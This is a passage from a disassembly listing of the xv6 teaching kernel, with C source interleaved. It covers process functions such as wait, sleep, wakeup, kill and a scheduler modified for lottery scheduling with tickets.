ec mov %eax,-0x14(%ebp) kfree(p->kstack); 80104a69: 8b 45 f4 mov -0xc(%ebp),%eax 80104a6c: 8b 40 08 mov 0x8(%eax),%eax 80104a6f: 83 ec 0c sub $0xc,%esp 80104a72: 50 push %eax 80104a73: e8 51 e1 ff ff call 80102bc9 <kfree> 80104a78: 83 c4 10 add $0x10,%esp p->kstack = 0; 80104a7b: 8b 45 f4 mov -0xc(%ebp),%eax 80104a7e: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) freevm(p->pgdir); 80104a85: 8b 45 f4 mov -0xc(%ebp),%eax 80104a88: 8b 40 04 mov 0x4(%eax),%eax 80104a8b: 83 ec 0c sub $0xc,%esp 80104a8e: 50 push %eax 80104a8f: e8 4c 39 00 00 call 801083e0 <freevm> 80104a94: 83 c4 10 add $0x10,%esp p->state = UNUSED; 80104a97: 8b 45 f4 mov -0xc(%ebp),%eax 80104a9a: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax) p->pid = 0; 80104aa1: 8b 45 f4 mov -0xc(%ebp),%eax 80104aa4: c7 40 10 00 00 00 00 movl $0x0,0x10(%eax) p->parent = 0; 80104aab: 8b 45 f4 mov -0xc(%ebp),%eax 80104aae: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax) p->name[0] = 0; 80104ab5: 8b 45 f4 mov -0xc(%ebp),%eax 80104ab8: c6 40 6c 00 movb $0x0,0x6c(%eax) p->killed = 0; 80104abc: 8b 45 f4 mov -0xc(%ebp),%eax 80104abf: c7 40 24 00 00 00 00 movl $0x0,0x24(%eax) release(&ptable.lock); 80104ac6: 83 ec 0c sub $0xc,%esp 80104ac9: 68 40 43 11 80 push $0x80114340 80104ace: e8 ca 06 00 00 call 8010519d <release> 80104ad3: 83 c4 10 add $0x10,%esp return pid; 80104ad6: 8b 45 ec mov -0x14(%ebp),%eax 80104ad9: eb 58 jmp 80104b33 <wait+0x122> for(;;){ // Scan through table looking for zombie children. havekids = 0; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ if(p->parent != proc) continue; 80104adb: 90 nop acquire(&ptable.lock); for(;;){ // Scan through table looking for zombie children. havekids = 0; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80104adc: 83 6d f4 80 subl $0xffffff80,-0xc(%ebp) 80104ae0: 81 7d f4 74 63 11 80 cmpl $0x80116374,-0xc(%ebp) 80104ae7: 0f 82 4d ff ff ff jb 80104a3a <wait+0x29> return pid; } } // No point waiting if we don't have any children. if(!havekids || proc->killed){ 80104aed: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80104af1: 74 0d je 80104b00 <wait+0xef> 80104af3: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104af9: 8b 40 24 mov 0x24(%eax),%eax 80104afc: 85 c0 test %eax,%eax 80104afe: 74 17 je 80104b17 <wait+0x106> release(&ptable.lock); 80104b00: 83 ec 0c sub $0xc,%esp 80104b03: 68 40 43 11 80 push $0x80114340 80104b08: e8 90 06 00 00 call 8010519d <release> 80104b0d: 83 c4 10 add $0x10,%esp return -1; 80104b10: b8 ff ff ff ff mov $0xffffffff,%eax 80104b15: eb 1c jmp 80104b33 <wait+0x122> } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(proc, &ptable.lock); //DOC: wait-sleep 80104b17: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104b1d: 83 ec 08 sub $0x8,%esp 80104b20: 68 40 43 11 80 push $0x80114340 80104b25: 50 push %eax 80104b26: e8 cc 02 00 00 call 80104df7 <sleep> 80104b2b: 83 c4 10 add $0x10,%esp } 80104b2e: e9 f4 fe ff ff jmp 80104a27 <wait+0x16> } 80104b33: c9 leave 80104b34: c3 ret 80104b35 <scheduler>: // - swtch to start running that process // - eventually that process transfers control // via swtch back to the scheduler. void scheduler(void) { 80104b35: 55 push %ebp 80104b36: 89 e5 mov %esp,%ebp 80104b38: 83 ec 28 sub $0x28,%esp struct proc *p; int foundproc = 1; 80104b3b: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) long tickets_total = 0; 80104b42: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) long random_winner = 0; 80104b49: c7 45 e8 00 00 00 00 movl $0x0,-0x18(%ebp) long counter = 0; //locate the winner process 80104b50: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) int tickets_counted = 0; //imply whether the tickets of all processes have been calculated 80104b57: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp) int winner_found = 0; 80104b5e: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) for(;;){ // Enable interrupts on this processor. sti(); 80104b65: e8 e4 f8 ff ff call 8010444e <sti> if (!foundproc) hlt(); 80104b6a: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80104b6e: 75 05 jne 80104b75 <scheduler+0x40> 80104b70: e8 e0 f8 ff ff call 80104455 <hlt> //choose the winner if(tickets_counted == 1) 80104b75: 83 7d e0 01 cmpl $0x1,-0x20(%ebp) 80104b79: 75 2d jne 80104ba8 <scheduler+0x73> { random_winner = random_at_most(tickets_total); 80104b7b: 83 ec 0c sub $0xc,%esp 80104b7e: ff 75 ec pushl -0x14(%ebp) 80104b81: e8 3b 3d 00 00 call 801088c1 <random_at_most> 80104b86: 83 c4 10 add $0x10,%esp 80104b89: 89 45 e8 mov %eax,-0x18(%ebp) foundproc = 0; 80104b8c: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) counter = 0; 80104b93: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) tickets_total = 0; 80104b9a: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) winner_found = 0; 80104ba1: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) } // Loop over process table looking for process to run. acquire(&ptable.lock); 80104ba8: 83 ec 0c sub $0xc,%esp 80104bab: 68 40 43 11 80 push $0x80114340 80104bb0: e8 81 05 00 00 call 80105136 <acquire> 80104bb5: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80104bb8: c7 45 f4 74 43 11 80 movl $0x80114374,-0xc(%ebp) 80104bbf: e9 cd 00 00 00 jmp 80104c91 <scheduler+0x15c> if(p->state != RUNNABLE) 80104bc4: 8b 45 f4 mov -0xc(%ebp),%eax 80104bc7: 8b 40 0c mov 0xc(%eax),%eax 80104bca: 83 f8 03 cmp $0x3,%eax 80104bcd: 0f 85 b9 00 00 00 jne 80104c8c <scheduler+0x157> continue; // count the total tickets first. if(tickets_counted == 0) 80104bd3: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) 80104bd7: 75 0e jne 80104be7 <scheduler+0xb2> { tickets_total += p->tickets; 80104bd9: 8b 45 f4 mov -0xc(%ebp),%eax 80104bdc: 8b 40 7c mov 0x7c(%eax),%eax 80104bdf: 01 45 ec add %eax,-0x14(%ebp) continue; 80104be2: e9 a6 00 00 00 jmp 80104c8d <scheduler+0x158> } //find the winner counter += p->tickets; 80104be7: 8b 45 f4 mov -0xc(%ebp),%eax 80104bea: 8b 40 7c mov 0x7c(%eax),%eax 80104bed: 01 45 e4 add %eax,-0x1c(%ebp) if (counter < random_winner) { 80104bf0: 8b 45 e4 mov -0x1c(%ebp),%eax 80104bf3: 3b 45 e8 cmp -0x18(%ebp),%eax 80104bf6: 7d 0e jge 80104c06 <scheduler+0xd1> // Runnable but not winner. State doesn't change. Tickets valid for next round tickets_total += p->tickets; 80104bf8: 8b 45 f4 mov -0xc(%ebp),%eax 80104bfb: 8b 40 7c mov 0x7c(%eax),%eax 80104bfe: 01 45 ec add %eax,-0x14(%ebp) continue; 80104c01: e9 87 00 00 00 jmp 80104c8d <scheduler+0x158> } //if winner has been excuted just continue if(winner_found == 1) 80104c06: 83 7d dc 01 cmpl $0x1,-0x24(%ebp) 80104c0a: 75 0b jne 80104c17 <scheduler+0xe2> { tickets_total += p->tickets; 80104c0c: 8b 45 f4 mov -0xc(%ebp),%eax 80104c0f: 8b 40 7c mov 0x7c(%eax),%eax 80104c12: 01 45 ec add %eax,-0x14(%ebp) continue; 80104c15: eb 76 jmp 80104c8d <scheduler+0x158> // Switch to chosen process. It is the process's job // to release ptable.lock and then reacquire it // before jumping back to us. foundproc = 1; 80104c17: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) proc = p; 80104c1e: 8b 45 f4 mov -0xc(%ebp),%eax 80104c21: 65 a3 04 00 00 00 mov %eax,%gs:0x4 switchuvm(p); 80104c27: 83 ec 0c sub $0xc,%esp 80104c2a: ff 75 f4 pushl -0xc(%ebp) 80104c2d: e8 68 33 00 00 call 80107f9a <switchuvm> 80104c32: 83 c4 10 add $0x10,%esp p->state = RUNNING; 80104c35: 8b 45 f4 mov -0xc(%ebp),%eax 80104c38: c7 40 0c 04 00 00 00 movl $0x4,0xc(%eax) swtch(&cpu->scheduler, proc->context); 80104c3f: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104c45: 8b 40 1c mov 0x1c(%eax),%eax 80104c48: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx 80104c4f: 83 c2 04 add $0x4,%edx 80104c52: 83 ec 08 sub $0x8,%esp 80104c55: 50 push %eax 80104c56: 52 push %edx 80104c57: e8 b1 09 00 00 call 8010560d <swtch> 80104c5c: 83 c4 10 add $0x10,%esp switchkvm(); 80104c5f: e8 19 33 00 00 call 80107f7d <switchkvm> // Process is done running for now. // It should have changed its p->state before coming back. proc = 0; 80104c64: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4 80104c6b: 00 00 00 00 //If it's still runnable, it it should be added to total tickets if (p->state == RUNNABLE) { 80104c6f: 8b 45 f4 mov -0xc(%ebp),%eax 80104c72: 8b 40 0c mov 0xc(%eax),%eax 80104c75: 83 f8 03 cmp $0x3,%eax 80104c78: 75 13 jne 80104c8d <scheduler+0x158> tickets_total += p->tickets; 80104c7a: 8b 45 f4 mov -0xc(%ebp),%eax 80104c7d: 8b 40 7c mov 0x7c(%eax),%eax 80104c80: 01 45 ec add %eax,-0x14(%ebp) winner_found = 1; 80104c83: c7 45 dc 01 00 00 00 movl $0x1,-0x24(%ebp) 80104c8a: eb 01 jmp 80104c8d <scheduler+0x158> // Loop over process table looking for process to run. acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ if(p->state != RUNNABLE) continue; 80104c8c: 90 nop // Loop over process table looking for process to run. acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80104c8d: 83 6d f4 80 subl $0xffffff80,-0xc(%ebp) 80104c91: 81 7d f4 74 63 11 80 cmpl $0x80116374,-0xc(%ebp) 80104c98: 0f 82 26 ff ff ff jb 80104bc4 <scheduler+0x8f> winner_found = 1; } } release(&ptable.lock); 80104c9e: 83 ec 0c sub $0xc,%esp 80104ca1: 68 40 43 11 80 push $0x80114340 80104ca6: e8 f2 04 00 00 call 8010519d <release> 80104cab: 83 c4 10 add $0x10,%esp tickets_counted = 1; 80104cae: c7 45 e0 01 00 00 00 movl $0x1,-0x20(%ebp) } 80104cb5: e9 ab fe ff ff jmp 80104b65 <scheduler+0x30> 80104cba <sched>: // Enter scheduler. Must hold only ptable.lock // and have changed proc->state. void sched(void) { 80104cba: 55 push %ebp 80104cbb: 89 e5 mov %esp,%ebp 80104cbd: 83 ec 18 sub $0x18,%esp int intena; if(!holding(&ptable.lock)) 80104cc0: 83 ec 0c sub $0xc,%esp 80104cc3: 68 40 43 11 80 push $0x80114340 80104cc8: e8 9c 05 00 00 call 80105269 <holding> 80104ccd: 83 c4 10 add $0x10,%esp 80104cd0: 85 c0 test %eax,%eax 80104cd2: 75 0d jne 80104ce1 <sched+0x27> panic("sched ptable.lock"); 80104cd4: 83 ec 0c sub $0xc,%esp 80104cd7: 68 a5 8c 10 80 push $0x80108ca5 80104cdc: e8 85 b8 ff ff call 80100566 <panic> if(cpu->ncli != 1) 80104ce1: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80104ce7: 8b 80 ac 00 00 00 mov 0xac(%eax),%eax 80104ced: 83 f8 01 cmp $0x1,%eax 80104cf0: 74 0d je 80104cff <sched+0x45> panic("sched locks"); 80104cf2: 83 ec 0c sub $0xc,%esp 80104cf5: 68 b7 8c 10 80 push $0x80108cb7 80104cfa: e8 67 b8 ff ff call 80100566 <panic> if(proc->state == RUNNING) 80104cff: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104d05: 8b 40 0c mov 0xc(%eax),%eax 80104d08: 83 f8 04 cmp $0x4,%eax 80104d0b: 75 0d jne 80104d1a <sched+0x60> panic("sched running"); 80104d0d: 83 ec 0c sub $0xc,%esp 80104d10: 68 c3 8c 10 80 push $0x80108cc3 80104d15: e8 4c b8 ff ff call 80100566 <panic> if(readeflags()&FL_IF) 80104d1a: e8 1f f7 ff ff call 8010443e <readeflags> 80104d1f: 25 00 02 00 00 and $0x200,%eax 80104d24: 85 c0 test %eax,%eax 80104d26: 74 0d je 80104d35 <sched+0x7b> panic("sched interruptible"); 80104d28: 83 ec 0c sub $0xc,%esp 80104d2b: 68 d1 8c 10 80 push $0x80108cd1 80104d30: e8 31 b8 ff ff call 80100566 <panic> intena = cpu->intena; 80104d35: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80104d3b: 8b 80 b0 00 00 00 mov 0xb0(%eax),%eax 80104d41: 89 45 f4 mov %eax,-0xc(%ebp) swtch(&proc->context, cpu->scheduler); 80104d44: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80104d4a: 8b 40 04 mov 0x4(%eax),%eax 80104d4d: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx 80104d54: 83 c2 1c add $0x1c,%edx 80104d57: 83 ec 08 sub $0x8,%esp 80104d5a: 50 push %eax 80104d5b: 52 push %edx 80104d5c: e8 ac 08 00 00 call 8010560d <swtch> 80104d61: 83 c4 10 add $0x10,%esp cpu->intena = intena; 80104d64: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80104d6a: 8b 55 f4 mov -0xc(%ebp),%edx 80104d6d: 89 90 b0 00 00 00 mov %edx,0xb0(%eax) } 80104d73: 90 nop 80104d74: c9 leave 80104d75: c3 ret 80104d76 <yield>: // Give up the CPU for one scheduling round. void yield(void) { 80104d76: 55 push %ebp 80104d77: 89 e5 mov %esp,%ebp 80104d79: 83 ec 08 sub $0x8,%esp acquire(&ptable.lock); //DOC: yieldlock 80104d7c: 83 ec 0c sub $0xc,%esp 80104d7f: 68 40 43 11 80 push $0x80114340 80104d84: e8 ad 03 00 00 call 80105136 <acquire> 80104d89: 83 c4 10 add $0x10,%esp proc->state = RUNNABLE; 80104d8c: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104d92: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) sched(); 80104d99: e8 1c ff ff ff call 80104cba <sched> release(&ptable.lock); 80104d9e: 83 ec 0c sub $0xc,%esp 80104da1: 68 40 43 11 80 push $0x80114340 80104da6: e8 f2 03 00 00 call 8010519d <release> 80104dab: 83 c4 10 add $0x10,%esp } 80104dae: 90 nop 80104daf: c9 leave 80104db0: c3 ret 80104db1 <forkret>: // A fork child's very first scheduling by scheduler() // will swtch here. "Return" to user space. void forkret(void) { 80104db1: 55 push %ebp 80104db2: 89 e5 mov %esp,%ebp 80104db4: 83 ec 08 sub $0x8,%esp static int first = 1; // Still holding ptable.lock from scheduler. release(&ptable.lock); 80104db7: 83 ec 0c sub $0xc,%esp 80104dba: 68 40 43 11 80 push $0x80114340 80104dbf: e8 d9 03 00 00 call 8010519d <release> 80104dc4: 83 c4 10 add $0x10,%esp if (first) { 80104dc7: a1 08 c0 10 80 mov 0x8010c008,%eax 80104dcc: 85 c0 test %eax,%eax 80104dce: 74 24 je 80104df4 <forkret+0x43> // Some initialization functions must be run in the context // of a regular process (e.g., they call sleep), and thus cannot // be run from main(). first = 0; 80104dd0: c7 05 08 c0 10 80 00 movl $0x0,0x8010c008 80104dd7: 00 00 00 iinit(ROOTDEV); 80104dda: 83 ec 0c sub $0xc,%esp 80104ddd: 6a 01 push $0x1 80104ddf: e8 5a c8 ff ff call 8010163e <iinit> 80104de4: 83 c4 10 add $0x10,%esp initlog(ROOTDEV); 80104de7: 83 ec 0c sub $0xc,%esp 80104dea: 6a 01 push $0x1 80104dec: e8 3e e5 ff ff call 8010332f <initlog> 80104df1: 83 c4 10 add $0x10,%esp } // Return to "caller", actually trapret (see allocproc). } 80104df4: 90 nop 80104df5: c9 leave 80104df6: c3 ret 80104df7 <sleep>: // Atomically release lock and sleep on chan. // Reacquires lock when awakened. void sleep(void *chan, struct spinlock *lk) { 80104df7: 55 push %ebp 80104df8: 89 e5 mov %esp,%ebp 80104dfa: 83 ec 08 sub $0x8,%esp if(proc == 0) 80104dfd: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104e03: 85 c0 test %eax,%eax 80104e05: 75 0d jne 80104e14 <sleep+0x1d> panic("sleep"); 80104e07: 83 ec 0c sub $0xc,%esp 80104e0a: 68 e5 8c 10 80 push $0x80108ce5 80104e0f: e8 52 b7 ff ff call 80100566 <panic> if(lk == 0) 80104e14: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 80104e18: 75 0d jne 80104e27 <sleep+0x30> panic("sleep without lk"); 80104e1a: 83 ec 0c sub $0xc,%esp 80104e1d: 68 eb 8c 10 80 push $0x80108ceb 80104e22: e8 3f b7 ff ff call 80100566 <panic> // change p->state and then call sched. // Once we hold ptable.lock, we can be // guaranteed that we won't miss any wakeup // (wakeup runs with ptable.lock locked), // so it's okay to release lk. if(lk != &ptable.lock){ //DOC: sleeplock0 80104e27: 81 7d 0c 40 43 11 80 cmpl $0x80114340,0xc(%ebp) 80104e2e: 74 1e je 80104e4e <sleep+0x57> acquire(&ptable.lock); //DOC: sleeplock1 80104e30: 83 ec 0c sub $0xc,%esp 80104e33: 68 40 43 11 80 push $0x80114340 80104e38: e8 f9 02 00 00 call 80105136 <acquire> 80104e3d: 83 c4 10 add $0x10,%esp release(lk); 80104e40: 83 ec 0c sub $0xc,%esp 80104e43: ff 75 0c pushl 0xc(%ebp) 80104e46: e8 52 03 00 00 call 8010519d <release> 80104e4b: 83 c4 10 add $0x10,%esp } // Go to sleep. proc->chan = chan; 80104e4e: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104e54: 8b 55 08 mov 0x8(%ebp),%edx 80104e57: 89 50 20 mov %edx,0x20(%eax) proc->state = SLEEPING; 80104e5a: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104e60: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax) sched(); 80104e67: e8 4e fe ff ff call 80104cba <sched> // Tidy up. proc->chan = 0; 80104e6c: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104e72: c7 40 20 00 00 00 00 movl $0x0,0x20(%eax) // Reacquire original lock. if(lk != &ptable.lock){ //DOC: sleeplock2 80104e79: 81 7d 0c 40 43 11 80 cmpl $0x80114340,0xc(%ebp) 80104e80: 74 1e je 80104ea0 <sleep+0xa9> release(&ptable.lock); 80104e82: 83 ec 0c sub $0xc,%esp 80104e85: 68 40 43 11 80 push $0x80114340 80104e8a: e8 0e 03 00 00 call 8010519d <release> 80104e8f: 83 c4 10 add $0x10,%esp acquire(lk); 80104e92: 83 ec 0c sub $0xc,%esp 80104e95: ff 75 0c pushl 0xc(%ebp) 80104e98: e8 99 02 00 00 call 80105136 <acquire> 80104e9d: 83 c4 10 add $0x10,%esp } } 80104ea0: 90 nop 80104ea1: c9 leave 80104ea2: c3 ret 80104ea3 <wakeup1>: //PAGEBREAK! // Wake up all processes sleeping on chan. // The ptable lock must be held. static void wakeup1(void *chan) { 80104ea3: 55 push %ebp 80104ea4: 89 e5 mov %esp,%ebp 80104ea6: 83 ec 10 sub $0x10,%esp struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80104ea9: c7 45 fc 74 43 11 80 movl $0x80114374,-0x4(%ebp) 80104eb0: eb 24 jmp 80104ed6 <wakeup1+0x33> if(p->state == SLEEPING && p->chan == chan) 80104eb2: 8b 45 fc mov -0x4(%ebp),%eax 80104eb5: 8b 40 0c mov 0xc(%eax),%eax 80104eb8: 83 f8 02 cmp $0x2,%eax 80104ebb: 75 15 jne 80104ed2 <wakeup1+0x2f> 80104ebd: 8b 45 fc mov -0x4(%ebp),%eax 80104ec0: 8b 40 20 mov 0x20(%eax),%eax 80104ec3: 3b 45 08 cmp 0x8(%ebp),%eax 80104ec6: 75 0a jne 80104ed2 <wakeup1+0x2f> p->state = RUNNABLE; 80104ec8: 8b 45 fc mov -0x4(%ebp),%eax 80104ecb: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80104ed2: 83 6d fc 80 subl $0xffffff80,-0x4(%ebp) 80104ed6: 81 7d fc 74 63 11 80 cmpl $0x80116374,-0x4(%ebp) 80104edd: 72 d3 jb 80104eb2 <wakeup1+0xf> if(p->state == SLEEPING && p->chan == chan) p->state = RUNNABLE; } 80104edf: 90 nop 80104ee0: c9 leave 80104ee1: c3 ret 80104ee2 <wakeup>: // Wake up all processes sleeping on chan. void wakeup(void *chan) { 80104ee2: 55 push %ebp 80104ee3: 89 e5 mov %esp,%ebp 80104ee5: 83 ec 08 sub $0x8,%esp acquire(&ptable.lock); 80104ee8: 83 ec 0c sub $0xc,%esp 80104eeb: 68 40 43 11 80 push $0x80114340 80104ef0: e8 41 02 00 00 call 80105136 <acquire> 80104ef5: 83 c4 10 add $0x10,%esp wakeup1(chan); 80104ef8: 83 ec 0c sub $0xc,%esp 80104efb: ff 75 08 pushl 0x8(%ebp) 80104efe: e8 a0 ff ff ff call 80104ea3 <wakeup1> 80104f03: 83 c4 10 add $0x10,%esp release(&ptable.lock); 80104f06: 83 ec 0c sub $0xc,%esp 80104f09: 68 40 43 11 80 push $0x80114340 80104f0e: e8 8a 02 00 00 call 8010519d <release> 80104f13: 83 c4 10 add $0x10,%esp } 80104f16: 90 nop 80104f17: c9 leave 80104f18: c3 ret 80104f19 <kill>: // Kill the process with the given pid. // Process won't exit until it returns // to user space (see trap in trap.c). int kill(int pid) { 80104f19: 55 push %ebp 80104f1a: 89 e5 mov %esp,%ebp 80104f1c: 83 ec 18 sub $0x18,%esp struct proc *p; acquire(&ptable.lock); 80104f1f: 83 ec 0c sub $0xc,%esp 80104f22: 68 40 43 11 80 push $0x80114340 80104f27: e8 0a 02 00 00 call 80105136 <acquire> 80104f2c: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80104f2f: c7 45 f4 74 43 11 80 movl $0x80114374,-0xc(%ebp) 80104f36: eb 45 jmp 80104f7d <kill+0x64> if(p->pid == pid){ 80104f38: 8b 45 f4 mov -0xc(%ebp),%eax 80104f3b: 8b 40 10 mov 0x10(%eax),%eax 80104f3e: 3b 45 08 cmp 0x8(%ebp),%eax 80104f41: 75 36 jne 80104f79 <kill+0x60> p->killed = 1; 80104f43: 8b 45 f4 mov -0xc(%ebp),%eax 80104f46: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) // Wake process from sleep if necessary. if(p->state == SLEEPING) 80104f4d: 8b 45 f4 mov -0xc(%ebp),%eax 80104f50: 8b 40 0c mov 0xc(%eax),%eax 80104f53: 83 f8 02 cmp $0x2,%eax 80104f56: 75 0a jne 80104f62 <kill+0x49> p->state = RUNNABLE; 80104f58: 8b 45 f4 mov -0xc(%ebp),%eax 80104f5b: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) release(&ptable.lock); 80104f62: 83 ec 0c sub $0xc,%esp 80104f65: 68 40 43 11 80 push $0x80114340 80104f6a: e8 2e 02 00 00 call 8010519d <release> 80104f6f: 83 c4 10 add $0x10,%esp return 0; 80104f72: b8 00 00 00 00 mov $0x0,%eax 80104f77: eb 22 jmp 80104f9b <kill+0x82> kill(int pid) { struct proc *p; acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80104f79: 83 6d f4 80 subl $0xffffff80,-0xc(%ebp) 80104f7d: 81 7d f4 74 63 11 80 cmpl $0x80116374,-0xc(%ebp) 80104f84: 72 b2 jb 80104f38 <kill+0x1f> p->state = RUNNABLE; release(&ptable.lock); return 0; } } release(&ptable.lock); 80104f86: 83 ec 0c sub $0xc,%esp 80104f89: 68 40 43 11 80 push $0x80114340 80104f8e: e8 0a 02 00 00 call 8010519d <release> 80104f93: 83 c4 10 add $0x10,%esp return -1; 80104f96: b8 ff ff ff ff mov $0xffffffff,%eax } 80104f9b: c9 leave 80104f9c: c3 ret 80104f9d <procdump>: // Print a process listing to console. For debugging. // Runs when user types ^P on console. // No lock to avoid wedging a stuck machine further. void procdump(void) { 80104f9d: 55 push %ebp 80104f9e: 89 e5 mov %esp,%ebp 80104fa0: 83 ec 48 sub $0x48,%esp int i; struct proc *p; char *state; uint pc[10]; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80104fa3: c7 45 f0 74 43 11 80 movl $0x80114374,-0x10(%ebp) 80104faa: e9 d7 00 00 00 jmp 80105086 <procdump+0xe9> if(p->state == UNUSED) 80104faf: 8b 45 f0 mov -0x10(%ebp),%eax 80104fb2: 8b 40 0c mov 0xc(%eax),%eax 80104fb5: 85 c0 test %eax,%eax 80104fb7: 0f 84 c4 00 00 00 je 80105081 <procdump+0xe4> continue; if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 80104fbd: 8b 45 f0 mov -0x10(%ebp),%eax 80104fc0: 8b 40 0c mov 0xc(%eax),%eax 80104fc3: 83 f8 05 cmp $0x5,%eax 80104fc6: 77 23 ja 80104feb <procdump+0x4e> 80104fc8: 8b 45 f0 mov -0x10(%ebp),%eax 80104fcb: 8b 40 0c mov 0xc(%eax),%eax 80104fce: 8b 04 85 0c c0 10 80 mov -0x7fef3ff4(,%eax,4),%eax 80104fd5: 85 c0 test %eax,%eax 80104fd7: 74 12 je 80104feb <procdump+0x4e> state = states[p->state]; 80104fd9: 8b 45 f0 mov -0x10(%ebp),%eax 80104fdc: 8b 40 0c mov 0xc(%eax),%eax 80104fdf: 8b 04 85 0c c0 10 80 mov -0x7fef3ff4(,%eax,4),%eax 80104fe6: 89 45 ec mov %eax,-0x14(%ebp) 80104fe9: eb 07 jmp 80104ff2 <procdump+0x55> else state = "???"; 80104feb: c7 45 ec fc 8c 10 80 movl $0x80108cfc,-0x14(%ebp) cprintf("%d %s %s", p->pid, state, p->name); 80104ff2: 8b 45 f0 mov -0x10(%ebp),%eax 80104ff5: 8d 50 6c lea 0x6c(%eax),%edx 80104ff8: 8b 45 f0 mov -0x10(%ebp),%eax 80104ffb: 8b 40 10 mov 0x10(%eax),%eax 80104ffe: 52 push %edx 80104fff: ff 75 ec pushl -0x14(%ebp) 80105002: 50 push %eax 80105003: 68 00 8d 10 80 push $0x80108d00 80105008: e8 b9 b3 ff ff call 801003c6 <cprintf> 8010500d: 83 c4 10 add $0x10,%esp if(p->state == SLEEPING){ 80105010: 8b 45 f0 mov -0x10(%ebp),%eax 80105013: 8b 40 0c mov 0xc(%eax),%eax 80105016: 83 f8 02 cmp $0x2,%eax 80105019: 75 54 jne 8010506f <procdump+0xd2> getcallerpcs((uint*)p->context->ebp+2, pc); 8010501b: 8b 45 f0 mov -0x10(%ebp),%eax 8010501e: 8b 40 1c mov 0x1c(%eax),%eax 80105021: 8b 40 0c mov 0xc(%eax),%eax 80105024: 83 c0 08 add $0x8,%eax 80105027: 89 c2 mov %eax,%edx 80105029: 83 ec 08 sub $0x8,%esp 8010502c: 8d 45 c4 lea -0x3c(%ebp),%eax 8010502f: 50 push %eax 80105030: 52 push %edx 80105031: e8 b9 01 00 00 call 801051ef <getcallerpcs> 80105036: 83 c4 10 add $0x10,%esp for(i=0; i<10 && pc[i] != 0; i++) 80105039: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80105040: eb 1c jmp 8010505e <procdump+0xc1> cprintf(" %p", pc[i]); 80105042: 8b 45 f4 mov -0xc(%ebp),%eax 80105045: 8b 44 85 c4 mov -0x3c(%ebp,%eax,4),%eax 80105049: 83 ec 08 sub $0x8,%esp 8010504c: 50 push %eax 8010504d: 68 09 8d 10 80 push $0x80108d09 80105052: e8 6f b3 ff ff call 801003c6 <cprintf> 80105057: 83 c4 10 add $0x10,%esp else state = "???"; cprintf("%d %s %s", p->pid, state, p->name); if(p->state == SLEEPING){ getcallerpcs((uint*)p->context->ebp+2, pc); for(i=0; i<10 && pc[i] != 0; i++) 8010505a: 83 45 f4 01 addl $0x1,-0xc(%ebp) 8010505e: 83 7d f4 09 cmpl $0x9,-0xc(%ebp) 80105062: 7f 0b jg 8010506f <procdump+0xd2> 80105064: 8b 45 f4 mov -0xc(%ebp),%eax 80105067: 8b 44 85 c4 mov -0x3c(%ebp,%eax,4),%eax 8010506b: 85 c0 test %eax,%eax 8010506d: 75 d3 jne 80105042 <procdump+0xa5> cprintf(" %p", pc[i]); } cprintf("\n"); 8010506f: 83 ec 0c sub $0xc,%esp 80105072: 68 0d 8d 10 80 push $0x80108d0d 80105077: e8 4a b3 ff ff call 801003c6 <cprintf> 8010507c: 83 c4 10 add $0x10,%esp 8010507f: eb 01 jmp 80105082 <procdump+0xe5> char *state; uint pc[10]; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ if(p->state == UNUSED) continue; 80105081: 90 nop int i; struct proc *p; char *state; uint pc[10]; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80105082: 83 6d f0 80 subl $0xffffff80,-0x10(%ebp) 80105086: 81 7d f0 74 63 11 80 cmpl 